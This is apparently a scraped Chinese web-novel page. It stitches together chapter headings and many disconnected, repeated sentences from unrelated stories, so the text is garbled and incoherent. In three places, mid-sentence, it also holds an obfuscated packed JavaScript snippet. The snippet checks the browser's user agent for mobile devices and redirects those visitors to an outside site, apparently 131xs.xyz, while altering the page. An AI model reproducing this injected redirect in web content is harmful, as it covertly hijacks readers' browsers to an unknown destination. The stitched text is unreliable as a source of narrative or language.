苏云不料她还是不肯放弃,不由地揉揉额角,道:“孟娘子言重了。”她吩咐樱桃:“去取一个瑞锦荷包送与孟娘子,也算是我的一点谢意。”樱桃答应了。 五五和六六连忙退到一旁低下了头,而琉璃依旧是一脸莫名其妙,凝眉向那声音传来的方向望去。 两个老头没有想到这个年青人会说他们是两个流氓,所以刹那间脸色全都变黑了,本来还是配合攻击的他们马上改变套路,分别取出了自已的武器。一个是双刃短刀,一个是一只烟袋。 晚余后悔不该多嘴。 黯淡的灰雾弥漫在空气里,晨曦微微‘露’出奇特的光,冰冷的寒风还没来得及肆掠这个世界,就在灰雾中,浮现出了一道模糊的身影,伴随身影逐渐在雾气中呈现清晰,剧烈的喘气声从袍子下传出。 张凯凤话还没有说完,冯记超市门口过来两个穿着工商制服的年轻人,正是之前跟在范建民身后的两人。 传闻中阴蚩废墟何等恐怖,若非修为踏入了第二道门的强者,还真的不敢进去。 “那还用说?”刘镒华已经动手了。盛了一碗汤,夹了几块鸡肉。 “滚开,我不需要你的医治!”兰开斯特忽的爆吼了一声,一把将着维尔士推开。 “呵呵,我回来了。”泰妍尴尬的冲俞利笑了笑。相比起允儿,俞利的态度要好多了,至少表情要比允儿热情得多。 不过事实上,左边那块融化的速度也骤然增加,在裂开那一刻,突然一整块都消失了。 林东拿起手机看饿了一下,十一点多了都,给高倩发了一个问号,他想高倩应该会明白他的意思的。 林东沉默不语,心想难怪陈美玉会那样评价左永贵,今曰一见,果然是个坐吃山空的家伙,就算是给他金山银山,也经不住他这样乱花。 庄建荣太老实,庄松德是不会管她饭的,她给朱家干活儿就在朱家吃。 江郁笑声渐渐地消弭了下来,嘴角的笑意渐渐敛住,目光一睁不睁地盯紧他看。 她紧紧的盯着花倾城和苏千夏二人,只期望花倾城能赶紧厌恶苏千夏,将苏千夏这**踢开。 下意识的打量四周,却没有从陆陆续续爬起来的队友之中找到那个憧憬着的人影。 说是陪,但是陆熙炀吃饭的时候,自己吃几口,还时不时喂她一口。 顾随意拿起手机,淡淡扫过一眼手机屏幕,是顾语曼打来的电话。 从三岁到如今的十八岁,温倾城一直都是父不爱,母仇恨的状态。在温家的地位,还不如一个保姆。 四方城的人之前没有看到过巨兽,乍一看到无不惶恐不安,一个个吓得仓皇逃走,赶紧回家呆着孩子妻子一起逃走。 青叶咳嗽着,胸腔肺腑都像是火在烧着一样,背脊重新重重地趟回床榻上。 而直播间里的诸多观众们,则是很清楚此刻林越是在狂飙演技,虽然确实演技**,几乎达到了以假乱真的程度。 苏云不料她还是不肯放弃,不由地揉揉额角,道:“孟娘子言重了。”她吩咐樱桃:“去取一个瑞锦荷包送与孟娘子,也算是我的一点谢意。”樱桃答应了。 五五和六六连忙退到一旁低下了头,而琉璃依旧是一脸莫名其妙,凝眉向那声音传来的方向望去。 两个老头没有想到这个年青人会说他们是两个流氓,所以刹那间脸色全都变黑了,本来还是配合攻击的他们马上改变套路,分别取出了自已的武器。一个是双刃短刀,一个是一只烟袋。 晚余后悔不该多嘴。 黯淡的灰雾弥漫在空气里,晨曦微微‘露’出奇特的光,冰冷的寒风还没来得及肆掠这个世界,就在灰雾中,浮现出了一道模糊的身影,伴随身影逐渐在雾气中呈现清晰,剧烈的喘气声从袍子下传出。 张凯凤话还没有说完,冯记超市门口过来两个穿着工商制服的年轻人,正是之前跟在范建民身后的两人。 传闻中阴蚩废墟何等恐怖,若非修为踏入了第二道门的强者,还真的不敢进去。 “那还用说?”刘镒华已经动手了。盛了一碗汤,夹了几块鸡肉。 “滚开,我不需要你的医治!”兰开斯特忽的爆吼了一声,一把将着维尔士推开。 “呵呵,我回来了。”泰妍尴尬的冲俞利笑了笑。相比起允儿,俞利的态度要好多了,至少表情要比允儿热情得多。 不过事实上,左边那块融化的速度也骤然增加,在裂开那一刻,突然一整块都消失了。 林东拿起手机看饿了一下,十一点多了都,给高倩发了一个问号,他想高倩应该会明白他的意思的。 林东沉默不语,心想难怪陈美玉会那样评价左永贵,今曰一见,果然是个坐吃山空的家伙,就算是给他金山银山,也经不住他这样乱花。 庄建荣太老实,庄松德是不会管她饭的,她给朱家干活儿就在朱家吃。 江郁笑声渐渐地消弭了下来,嘴角的笑意渐渐敛住,目光一睁不睁地盯紧他看。 她紧紧的盯着花倾城和苏千夏二人,只期望花倾城能赶紧厌恶苏千夏,将苏千夏这**踢开。 下意识的打量四周,却没有从陆陆续续爬起来的队友之中找到那个憧憬着的人影。 说是陪,但是陆熙炀吃饭的时候,自己吃几口,还时不时喂她一口。 顾随意拿起手机,淡淡扫过一眼手机屏幕,是顾语曼打来的电话。 从三岁到如今的十八岁,温倾城一直都是父不爱,母仇恨的状态。在温家的地位,还不如一个保姆。 四方城的人之前没有看到过巨兽,乍一看到无不惶恐不安,一个个吓得仓皇逃走,赶紧回家呆着孩子妻子一起逃走。 青叶咳嗽着,胸腔肺腑都像是火在烧着一样,背脊重新重重地趟回床榻上。 而直播间里的诸多观众们,则是很清楚此刻林越是在狂飙演技,虽然确实演技**,几乎达到了以假乱真的程度。 苏云不料她还是不肯放弃,不由地揉揉额角,道:“孟娘子言重了。”她吩咐樱桃:“去取一个瑞锦荷包送与孟娘子,也算是我的一点谢意。”樱桃答应了。 五五和六六连忙退到一旁低下了头,而琉璃依旧是一脸莫名其妙,凝眉向那声音传来的方向望去。 两个老头没有想到这个年青人会说他们是两个流氓,所以刹那间脸色全都变黑了,本来还是配合攻击的他们马上改变套路,分别取出了自已的武器。一个是双刃短刀,一个是一只烟袋。 晚余后悔不该多嘴。 黯淡的灰雾弥漫在空气里,晨曦微微‘露’出奇特的光,冰冷的寒风还没来得及肆掠这个世界,就在灰雾中,浮现出了一道模糊的身影,伴随身影逐渐在雾气中呈现清晰,剧烈的喘气声从袍子下传出。 张凯凤话还没有说完,冯记超市门口过来两个穿着工商制服的年轻人,正是之前跟在范建民身后的两人。 传闻中阴蚩废墟何等恐怖,若非修为踏入了第二道门的强者,还真的不敢进去。 “那还用说?”刘镒华已经动手了。盛了一碗汤,夹了几块鸡肉。 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林东沉默不语,心想难怪陈美玉会那样评价左永贵,今曰一见,果然是个坐吃山空的家伙,就算是给他金山银山,也经不住他这样乱花。 庄建荣太老实,庄松德是不会管她饭的,她给朱家干活儿就在朱家吃。 江郁笑声渐渐地消弭了下来,嘴角的笑意渐渐敛住,目光一睁不睁地盯紧他看。 她紧紧的盯着花倾城和苏千夏二人,只期望花倾城能赶紧厌恶苏千夏,将苏千夏这**踢开。 下意识的打量四周,却没有从陆陆续续爬起来的队友之中找到那个憧憬着的人影。 说是陪,但是陆熙炀吃饭的时候,自己吃几口,还时不时喂她一口。 顾随意拿起手机,淡淡扫过一眼手机屏幕,是顾语曼打来的电话。 从三岁到如今的十八岁,温倾城一直都是父不爱,母仇恨的状态。在温家的地位,还不如一个保姆。 四方城的人之前没有看到过巨兽,乍一看到无不惶恐不安,一个个吓得仓皇逃走,赶紧回家呆着孩子妻子一起逃走。 青叶咳嗽着,胸腔肺腑都像是火在烧着一样,背脊重新重重地趟回床榻上。 而直播间里的诸多观众们,则是很清楚此刻林越是在狂飙演技,虽然确实演技**,几乎达到了以假乱真的程度。 苏云不料她还是不肯放弃,不由地揉揉额角,道:“孟娘子言重了。”她吩咐樱桃:“去取一个瑞锦荷包送与孟娘子,也算是我的一点谢意。”樱桃答应了。 五五和六六连忙退到一旁低下了头,而琉璃依旧是一脸莫名其妙,凝眉向那声音传来的方向望去。 两个老头没有想到这个年青人会说他们是两个流氓,所以刹那间脸色全都变黑了,本来还是配合攻击的他们马上改变套路,分别取出了自已的武器。一个是双刃短刀,一个是一只烟袋。 晚余后悔不该多嘴。 黯淡的灰雾弥漫在空气里,晨曦微微‘露’出奇特的光,冰冷的寒风还没来得及肆掠这个世界,就在灰雾中,浮现出了一道模糊的身影,伴随身影逐渐在雾气中呈现清晰,剧烈的喘气声从袍子下传出。 张凯凤话还没有说完,冯记超市门口过来两个穿着工商制服的年轻人,正是之前跟在范建民身后的两人。 传闻中阴蚩废墟何等恐怖,若非修为踏入了第二道门的强者,还真的不敢进去。 “那还用说?”刘镒华已经动手了。盛了一碗汤,夹了几块鸡肉。 “滚开,我不需要你的医治!”兰开斯特忽的爆吼了一声,一把将着维尔士推开。 “呵呵,我回来了。”泰妍尴尬的冲俞利笑了笑。相比起允儿,俞利的态度要好多了,至少表情要比允儿热情得多。 不过事实上,左边那块融化的速度也骤然增加,在裂开那一刻,突然一整块都消失了。 林东拿起手机看饿了一下,十一点多了都,给高倩发了一个问号,他想高倩应该会明白他的意思的。 林东沉默不语,心想难怪陈美玉会那样评价左永贵,今曰一见,果然是个坐吃山空的家伙,就算是给他金山银山,也经不住他这样乱花。 庄建荣太老实,庄松德是不会管她饭的,她给朱家干活儿就在朱家吃。 江郁笑声渐渐地消弭了下来,嘴角的笑意渐渐敛住,目光一睁不睁地盯紧他看。 她紧紧的盯着花倾城和苏千夏二人,只期望花倾城能赶紧厌恶苏千夏,将苏千夏这**踢开。 下意识的打量四周,却没有从陆陆续续爬起来的队友之中找到那个憧憬着的人影。 说是陪,但是陆熙炀吃饭的时候,自己吃几口,还时不时喂她一口。 顾随意拿起手机,淡淡扫过一眼手机屏幕,是顾语曼打来的电话。 从三岁到如今的十八岁,温倾城一直都是父不爱,母仇恨的状态。在温家的地位,还不如一个保姆。 四方城的人之前没有看到过巨兽,乍一看到无不惶恐不安,一个个吓得仓皇逃走,赶紧回家呆着孩子妻子一起逃走。 青叶咳嗽着,胸腔肺腑都像是火在烧着一样,背脊重新重重地趟回床榻上。 而直播间里的诸多观众们,则是很清楚此刻林越是在狂飙演技,虽然确实演技**,几乎达到了以假乱真的程度。 苏云不料她还是不肯放弃,不由地揉揉额角,道:“孟娘子言重了。”她吩咐樱桃:“去取一个瑞锦荷包送与孟娘子,也算是我的一点谢意。”樱桃答应了。 五五和六六连忙退到一旁低下了头,而琉璃依旧是一脸莫名其妙,凝眉向那声音传来的方向望去。 两个老头没有想到这个年青人会说他们是两个流氓,所以刹那间脸色全都变黑了,本来还是配合攻击的他们马上改变套路,分别取出了自已的武器。一个是双刃短刀,一个是一只烟袋。 晚余后悔不该多嘴。 黯淡的灰雾弥漫在空气里,晨曦微微‘露’出奇特的光,冰冷的寒风还没来得及肆掠这个世界,就在灰雾中,浮现出了一道模糊的身影,伴随身影逐渐在雾气中呈现清晰,剧烈的喘气声从袍子下传出。 张凯凤话还没有说完,冯记超市门口过来两个穿着工商制服的年轻人,正是之前跟在范建民身后的两人。 传闻中阴蚩废墟何等恐怖,若非修为踏入了第二道门的强者,还真的不敢进去。 “那还用说?”刘镒华已经动手了。盛了一碗汤,夹了几块鸡肉。 “滚开,我不需要你的医治!”兰开斯特忽的爆吼了一声,一把将着维尔士推开。 “呵呵,我回来了。”泰妍尴尬的冲俞利笑了笑。相比起允儿,俞利的态度要好多了,至少表情要比允儿热情得多。 不过事实上,左边那块融化的速度也骤然增加,在裂开那一刻,突然一整块都消失了。 林东拿起手机看饿了一下,十一点多了都,给高倩发了一个问号,他想高倩应该会明白他的意思的。 林东沉默不语,心想难怪陈美玉会那样评价左永贵,今曰一见,果然是个坐吃山空的家伙,就算是给他金山银山,也经不住他这样乱花。 庄建荣太老实,庄松德是不会管她饭的,她给朱家干活儿就在朱家吃。 江郁笑声渐渐地消弭了下来,嘴角的笑意渐渐敛住,目光一睁不睁地盯紧他看。 她紧紧的盯着花倾城和苏千夏二人,只期望花倾城能赶紧厌恶苏千夏,将苏千夏这**踢开。 下意识的打量四周,却没有从陆陆续续爬起来的队友之中找到那个憧憬着的人影。 说是陪,但是陆熙炀吃饭的时候,自己吃几口,还时不时喂她一口。 顾随意拿起手机,淡淡扫过一眼手机屏幕,是顾语曼打来的电话。 从三岁到如今的十八岁,温倾城一直都是父不爱,母仇恨的状态。在温家的地位,还不如一个保姆。 四方城的人之前没有看到过巨兽,乍一看到无不惶恐不安,一个个吓得仓皇逃走,赶紧回家呆着孩子妻子一起逃走。 青叶咳嗽着,胸腔肺腑都像是火在烧着一样,背脊重新重重地趟回床榻上。 而直播间里的诸多观众们,则是很清楚此刻林越是在狂飙演技,虽然确实演技**,几乎达到了以假乱真的程度。 苏云不料她还是不肯放弃,不由地揉揉额角,道:“孟娘子言重了。”她吩咐樱桃:“去取一个瑞锦荷包送与孟娘子,也算是我的一点谢意。”樱桃答应了。 五五和六六连忙退到一旁低下了头,而琉璃依旧是一脸莫名其妙,凝眉向那声音传来的方向望去。 两个老头没有想到这个年青人会说他们是两个流氓,所以刹那间脸色全都变黑了,本来还是配合攻击的他们马上改变套路,分别取出了自已的武器。一个是双刃短刀,一个是一只烟袋。 第一卷 第215章 坤宁宫必定是要留给你的 江晚棠听到这一声喊,顿时吓得花容失色,伸手去抢晚余手中的信。 晚余已经把信纸抽出了一半,信封被她抢了去,信纸捏在晚余手里。 “快给我!” 苏瑾突然露出一个阴狠的表情,恶狠狠道“抢不到就毁了它”公子墨看到苏瑾的表情皱了皱眉头,已经开始发作了,得想个办法压制住。 展修陡然圆睁双眼,眼睛里头暴戾之极的怒意与杀机涌现,大吼一声挥剑迎了上去。 微微欠身致谢后,神父先生走进了属于自己的私人空间,当然的,几只大狗也紧紧尾随进去。 涂宝宝她只有投降的份了,如果她再不认错的话,就要被这么一直唠叨下去了。她可不想和发生什么争执,她也不想得罪,所以现在她只有自己先认错了。 杨飞飞直立起了身子,她哪半人半蛇的恐怖姿态让张嘉铭的手下不由得齐齐往后退了半步。 郁风内心一阵感叹,不愧和逸朝英是同一伙人,连追求功绩的心境都是一模一样,也不想想自己的实力,能不能胜过眼前之人,真是豁出命去了。 “这边没什么可担心的,毕竟这么多年来我都是这么治理的。其实,可以的话我想跟你一起去神极大陆。”杨芸仰头看着他。 郁风猛然想起了,还有一个葛因。不过并没有见到他的尸体,不知道他有没有事。“咱们赶紧去上游方向找找看,万一葛因再碰到什么事就麻烦了。”说着他便准备起身离去。 “浅夏你在哪里!”火在剧烈的燃烧,最后被柱子砸中的他,昏迷过去。 杨飞飞的眼眶变得有点赤红,但是她没有出声反驳,咬紧牙关的她似在忍让。 而后,他看着已经吐了米粒大的绿芽的树枝发呆:她那么急着订下屋子,有什么用意? “怎么了,滴答?”看着滴答突然飞起来,且神色有些不对劲,紫灵问道。 楚轻狂一大口血喷了出来,清醒了好多,他顾不上检查自己受了什么内伤,顾不上看地上的水佩,狂吼一声,箭一般地射了出去。 他进了洗手间,先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587838|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗了把脸,把短短的头发用手指爬了几下,再抻抻身上的衣服,等到出来的时候,好歹算是相对能见人一些了。 真实和虚伪,之间的界限,本来就是如此,无数的伪装之下诚然是真假难辨,然而真金不怕火炼,大浪淘沙之后,剩下来的就是真实了。 灵心和幻舞已是在此研究了极长的时间了,依然是没有结果,二人皆是眉头紧皱,第一次感受到了难处,不知道楼上究竟存放着什么,竟是需要如此严密的封存。 近卫军们手中的火把,将巷子照得亮比白昼,影惊鸿的目光,比火光更具穿透力。 可惜叶玚并没有逃掉这种灾难,因为这场雨来的太突然,就在他累死累活跑完十圈的时候,暴雨说来就来,所以学校取消了全部课间活动,老师们也都待在办公室。 欧戚把花放在床头,刚想坐在黑清清原本的椅子上,却没想到惹来路雨惜的谩骂。 那个曾经端庄沉稳的张甫林似乎变得苍老起来,后背不再挺直,表情不再坚毅,眼神也闪烁着古怪的光芒。 第一卷 第216章 朕信你 倘若他真的是杀害六樱家族长的凶手的话,此去便有可能是趁着现在六樱家内部防御力量空虚,戒备人员前去吊唁,多数强者亦都在大殿内参加丧礼,抹去当日留下的蛛丝马迹。 风光又无声的哀嚎,只觉得备受打击,这个世界,其实有许多人都是双性恋,只是他们自己不知道而已,但现在,风光正在严重怀疑,自己是不是也是其一员。 马常发一阵号令,用的都是柯寒军训时学来的,什么“向前看,向中看齐,稍息、立正啥的,半分钟内,就将这些古董排好了队形。 “这风好强烈!陈晨准备好,一会看到我出手后你就跟上。林可心紧握着手中的佩剑说道。 她勉为其难的把肉送进自己嘴里,实在是叫人觉得,如果不是有人逼她,她是连一点肉都不会吃的。 篝火,还有一些简易的制作食物的用具,随意散乱的在这片森林中央的地方搭建了起来。 恰逢此时,一道人影又走了回来,谢湛一看到忘掉反应的风光,头忽的疼了。 说完,那清虚公子将手中的剑直指对面的血一刀的门心,面对这这一剑血一刀将自己的气势发挥到了极致然后想直接将清虚公子震飞,然而让他没想到的是这看似随意的一剑竟也是对方的全力一击。 厨房里面,顾煜城看着锅里面已经是开始沸腾的水,立刻拿过来了一旁的面条放进去,也没有放很多,毕竟大晚上的吃太撑也不好,更何况等下还要睡觉。 想就做,大手一挥,一帮兵奴隶便一哄而上,虐人这种事儿,那是相当有意思不禁王二麻子遭了殃,就连和王二麻子一起吹牛打屁的奴隶,也被挨了打。兵奴隶一个个气场很足,王二麻子一伙人虽有反抗,然而徒劳了。 因为钱财不外露,有杨永安这么一个大男人在,他们这一路也没有来惹麻烦。 “谁说的?我们韩国的韩医才是真正的医术,你们华夏国的中医,只是我们韩医的分支!杨诗颖也是自信,嘲讽的说道。 因为一直就等着慕丢脸,所以,杨诗颖是一直都将自己的注意力落在慕的身上。 估计,南宫霖风听了之后,会更觉得她没脑子,会对她更加不满意了。 今天,陈师傅把要用的一些材料带来了,而且带来的人和前几天带的人也不一样。 “一边待着去,别碍事,秦舞阳想要推开中行 彻,中行彻却发疯一般,死死地抓住了秦舞阳。 大家看着森长可离去的背影,有些尴尬地面面相觑,还是池田恒兴最先开口打破了沉默。 就在银色流光即将砸到黑色风暴之时,地面上,一道绿色光芒闪烁。众人一愣,只见地面之上,一个模糊的身影笼罩于绿光中,朝着银色流光激射而出。 今天,徐子裴虽然没有在外谈生意,但是暗地里的势利有些事情需要他亲自处理。 握着南宫月华的纤手,看着她纤细消瘦的手,慕海轩感觉整颗心被人狠狠的揪住,无法呼吸。 “所以说让你多练习一下法决的!”看着那个被砍成两半的年轻修士,中年修士不免抱怨到。 “真好玩!”萧样儿学着洛川的样子弯腰去抓雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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第一卷 第217章 用一生的时间来等她一个答复 第一瓶药剂开发人体内潜能第二瓶药剂就会让人超负荷开发直接消耗身体力量。 “谁下场子先玩玩去?话说转职后好像还没有像样的活动筋骨过。”枯骨问道。 狼妖还沒扑下來。周天施展出“移形换位”身法。听得“嗖”的一声。骤然出现在狼妖的上空。右手一扬。就砍了下去。 没有任何保护系统保护的叶罗顿时凄惨无比哇哇惨叫声一直从掠童者基地飘荡至王家村附近一带。 “这个这个可不能听你一面之词好了我们已经耽误了太多知识竞赛的时间这件事暂且先放下一切等知识竞赛结束后再说。”赵洪南挥了挥手想要就此直接岔开话题。 在打boss的时候还一定要侦查四周否则自己**的都不知道。 虽然疑惑不过万山省的省主当时却也没有提出过任何的疑问对于上面交代下来的事情自然是不会有任何折扣的去执行。 不过想到这里叶卫还有一丝后悔如若刚刚自己相信那声音的话自己大可以所要的愿望是完成第十层的任务那么他就能获得第十层的奖励并且回到试炼空间将自己的残废治愈好。 刘雪梅拉住叶残雪的手轻声道:“哥我们这次来是找渝欣姐姐的我们不要跟他一般见识。”刘雪梅也担心叶残雪会一时冲动答应和蓝羽决斗。 红烧排骨、鲫鱼豆腐汤、火锅、烤牛肉……每天换着样儿的给他做吴浩明吃着老婆的爱心餐那幸福的找不到北不知不觉他的腰又鼓起来了。 吴浩明怒火中烧可又无可奈何。有气撒不出他一抬脚把旁边得饮水机踹翻。 如今的风西国还没有一位真正属于国家的符咒师那公子姬玥并不为皇室服务。 “今天合适吗?大年三十都等着过年呢!”吴敏边嗑瓜子边翻白眼对老爹的白目无语了。 “是我败了真真正正的败了。”缓缓收敛起了气势脸色略微有点苍白的霍凌就回头淡淡说到原本水亮动人的双眼失去了焦距见霍凌收起了气息聂枫也收回了紫云霄。 “李想?”这名字好象在哪里听过 这不是苏婉玲无情而是她始终于这个自称表弟的赵 嵩有怀疑,还有一种排斥感。所以现在也懒得去管他的事儿,他不再纠缠了更好。 “你什么意思?”没有继续追赶,聂枫缓缓的转头望向霍凌,双眼之中的血色没有丝毫的减退,及时此时聂枫已经是疲累不堪消耗巨大,但那恐怖的杀意却是支撑着他到现在还没有倒下。 “表姑娘?”马婆子惴惴不安,总觉着宋安然的神情有些不对劲。 “没事的,我们树类的生命都是很强劲的,一般要是没什么大的变化的话,理论上我们是可以与天地同寿的!”涧很自豪地说道。 沈夫人的怒气已经到达了极点,不过她依旧忍着。一脸端庄的问着宋安然。 大妈说到这里的时候,突然感伤了,停下手里正在削土豆的动作,手里抓着刀就开始在袖子上擦眼泪。她这一哭不要紧,周围的几个大妈大婶也都跟着感性起来,纷纷抽噎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587840|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着鼻子,开始抹眼泪。 就算宁涛的仙榜第八是真的,那也差之千里,所以**,铁定如山。 有没有搞错,这个家伙是在放屁吗,为什么这么臭?还让我把心放在这里,把心放在这里和杀了我有什么区别呢? 桌子的震动越来越厉害,已经开始东倒西歪,挂在教室屋顶木梁上的电灯此刻也竟然时明时暗,还发出滋滋的声响。 在企鹅大陆,菜单又名元素周期表,原因无他,因为大陆的食物里包含万千元素,比如重金属元素三聚氰胺等等,全都是经过安全局严格审核,常有人道:把一个中国人压扁,就是一张元素周期表。 所以我建议由井野带队,天天雏田从旁协助!另外再带上10名医疗忍者。 尽管他和唐诗已经亲近到同睡一张床,甚至到了“随便摸”的地步。 “颜颜好象在你们百货公司遇到麻烦,你在最好,替她处理一下吧。”亦辰简短地说明情况。 “阿姨放心,保证十二点以前把她平安送到家。”浩林松了一口气,心知已成功了大半。 说话间,来到了外面的靶场里,希瑞克看到了地面上用三脚架支起来的一门无后坐力炮,看起来还不错。 “草鱼的生鱼片有什么好生吃的?”赵公子和王奎嘀咕着,抹不开面子,捏了一块仔细看着。 之前他还没有尝试过禁果的味道,所以对于郭兰的诱惑还有点免疫力,而江巧倩勾引了他,让他初次感觉到了那种味道,所以见到郭兰,内心都有点燥热。 第一卷 第218章 你不是最恨祁让的吗? 三日后的雨夜,慈宁宫的太后娘娘终于在电闪雷鸣中等来了她苦等六年的晋王殿下。 “杀!”一声暴喝,就见一道蓝色身影腾空而起,挥舞战抢直取秦天戈的眉心,杀机凛冽。 里面吹出来的风,也不再阴测测,释迦紧闭的双眼突然睁开,在众人还在不知所措的时候,释迦身体骤然而起,直奔洞府而去。 妃色很衬她雪白的肤色,她知道自己很美,忍不住挺直了腰板,充满自信的朝云长歌抬下巴笑了笑。 虽然封玦觉得这很有可能是自己的父王夸大其词,觉得自己的孩子便很优秀的错觉,可是,封玦自己对自己的容貌还是很自信的。 当然,萧璟斓这会儿自然是没有料到,他不过是来了一趟天上人间,差点没有捅了马蜂窝,丢了自己的命根子。 种种原因,导致金融机制这个行业,就跟虚拟游戏行业一样,是两个难兄难弟,一个比一个混的惨。 “恩。”李灵溪红着眼睛,重重的点头,看着古牧露出了感激之色。 一个又一个星系,极为熟悉,让秦天戈一眼就能看穿,包括银河系在内,足足上千个星系团分布在面前的宇宙平面图。 那轮原本暗红色的月亮,倒是在这个时候逐渐变得明亮了起来,散发出了银白色的光芒。 如果说她真的让云长歌太过理智,太能分析这件事就这么过去,她都觉得对不起自己。 瞧郡主这副模样,四个丫鬟面面相觑,不知道今日是谁惹到了郡主。 这个温泉呢,不仅仅可以泡温泉,而且还可以在温泉里面吃东西,而且还是很美味的东西,甚至是酒,不过酒还是不要和太多,也不要度数太深,要不然自己就会晕过去。 “回家。紫菀那儿。”林逸迷迷糊糊地应了一句。然后便睡了过去。 垂下眼睫,静静沉思了瞬,而后双眼突然大睁,像是想到了什么让人兴奋的事情,掀开前衣摆,急不可耐地冲了出去。而他身后的欧芝兰,则笑的满面算计。 于是,林逸从一个大富翁瞬间沦为了大负翁,都还没有来得及好好享受享受有钱人的奢靡生活呢。 后来从军营回来,表面上他对她也比较冷淡,可是他也试着对她敞开心怀,但是结果不比他所想的。 仅仅不到十分钟,林逸和桐叶两人便将近二十号保镖撂翻在了地上,当然,这里面大多都是桐叶的功劳,林逸喊加油的成分居多。 至于倒时候四皇子的花轿能不能接到人,她一点都不在乎,洛家人会不会因此遭罪,她更是不在乎。只是可惜了那三十万两银子,不过好在上次的五十百两银子她还没有花完,用剩下的银子找一个落脚点还是足够的。 “不自量力!”赫连灏明冷哼一声,也不做势,就那样在椅子上坐着凭空而起。 仿佛刚刚经过秋季一般,生命之树只剩下几片枯叶依旧挂在枝头,粗壮的树干已经空空如也,而且那树干仿佛空洞了一般,失去了生机。 白羽,可没有那么多的耐心,他暴躁的一个门,接着一个门的拉开,可就当他拉开最后一扇门的时候,他有些震惊。 三日后的雨夜,慈宁宫的太后娘娘终于在电闪雷鸣中等来了她苦等六年的晋王殿下。 “杀!”一声暴喝,就见一道蓝色身影腾空而起,挥舞战抢直取秦天戈的眉心,杀机凛冽。 里面吹出来的风,也不再阴测测,释迦紧闭的双眼突然睁开,在众人还在不知所措的时候,释迦身体骤然而起,直奔洞府而去。 妃色很衬她雪白的肤色,她知道自己很美,忍不住挺直了腰板,充满自信的朝云长歌抬下巴笑了笑。 虽然封玦觉得这很有可能是自己的父王夸大其词,觉得自己的孩子便很优秀的错觉,可是,封玦自己对自己的容貌还是很自信的。 当然,萧璟斓这会儿自然是没有料到,他不过是来了一趟天上人间,差点没有捅了马蜂窝,丢了自己的命根子。 种种原因,导致金融机制这个行业,就跟虚拟游戏行业一样,是两个难兄难弟,一个比一个混的惨。 “恩。”李灵溪红着眼睛,重重的点头,看着古牧露出了感激之色。 一个又一个星系,极为熟悉,让秦天戈一眼就能看穿,包括银河系在内,足足上千个星系团分布在面前的宇宙平面图。 那轮原本暗红色的月亮,倒是在这个时候逐渐变得明亮了起来,散发出了银白色的光芒。 如果说她真的让云长歌太过理智,太能分析这件事就这么过去,她都觉得对不起自己。 瞧郡主这副模样,四个丫鬟面面相觑,不知道今日是谁惹到了郡主。 这个温泉呢,不仅仅可以泡温泉,而且还可以在温泉里面吃东西,而且还是很美味的东西,甚至是酒,不过酒还是不要和太多,也不要度数太深,要不然自己就会晕过去。 “回家。紫菀那儿。”林逸迷迷糊糊地应了一句。然后便睡了过去。 垂下眼睫,静静沉思了瞬,而后双眼突然大睁,像是想到了什么让人兴奋的事情,掀开前衣摆,急不可耐地冲了出去。而他身后的欧芝兰,则笑的满面算计。 于是,林逸从一个大富翁瞬间沦为了大负翁,都还没有来得及好好享受享受有钱人的奢靡生活呢。 后来从军营回来,表面上他对她也比较冷淡,可是他也试着对她敞开心怀,但是结果不比他所想的。 仅仅不到十分钟,林逸和桐叶两人便将近二十号保镖撂翻在了地上,当然,这里面大多都是桐叶的功劳,林逸喊加油的成分居多。 至于倒时候四皇子的花轿能不能接到人,她一点都不在乎,洛家人会不会因此遭罪,她更是不在乎。只是可惜了那三十万两银子,不过好在上次的五十百两银子她还没有花完,用剩下的银子找一个落脚点还是足够的。 “不自量力!”赫连灏明冷哼一声,也不做势,就那样在椅子上坐着凭空而起。 仿佛刚刚经过秋季一般,生命之树只剩下几片枯叶依旧挂在枝头,粗壮的树干已经空空如也,而且那树干仿佛空洞了一般,失去了生机。 白羽,可没有那么多的耐心,他暴躁的一个门,接着一个门的拉开,可就当他拉开最后一扇门的时候,他有些震惊。 三日后的雨夜,慈宁宫的太后娘娘终于在电闪雷鸣中等来了她苦等六年的晋王殿下。 “杀!”一声暴喝,就见一道蓝色身影腾空而起,挥舞战抢直取秦天戈的眉心,杀机凛冽。 里面吹出来的风,也不再阴测测,释迦紧闭的双眼突然睁开,在众人还在不知所措的时候,释迦身体骤然而起,直奔洞府而去。 妃色很衬她雪白的肤色,她知道自己很美,忍不住挺直了腰板,充满自信的朝云长歌抬下巴笑了笑。 虽然封玦觉得这很有可能是自己的父王夸大其词,觉得自己的孩子便很优秀的错觉,可是,封玦自己对自己的容貌还是很自信的。 当然,萧璟斓这会儿自然是没有料到,他不过是来了一趟天上人间,差点没有捅了马蜂窝,丢了自己的命根子。 种种原因,导致金融机制这个行业,就跟虚拟游戏行业一样,是两个难兄难弟,一个比一个混的惨。 “恩。”李灵溪红着眼睛,重重的点头,看着古牧露出了感激之色。 一个又一个星系,极为熟悉,让秦天戈一眼就能看穿,包括银河系在内,足足上千个星系团分布在面前的宇宙平面图。 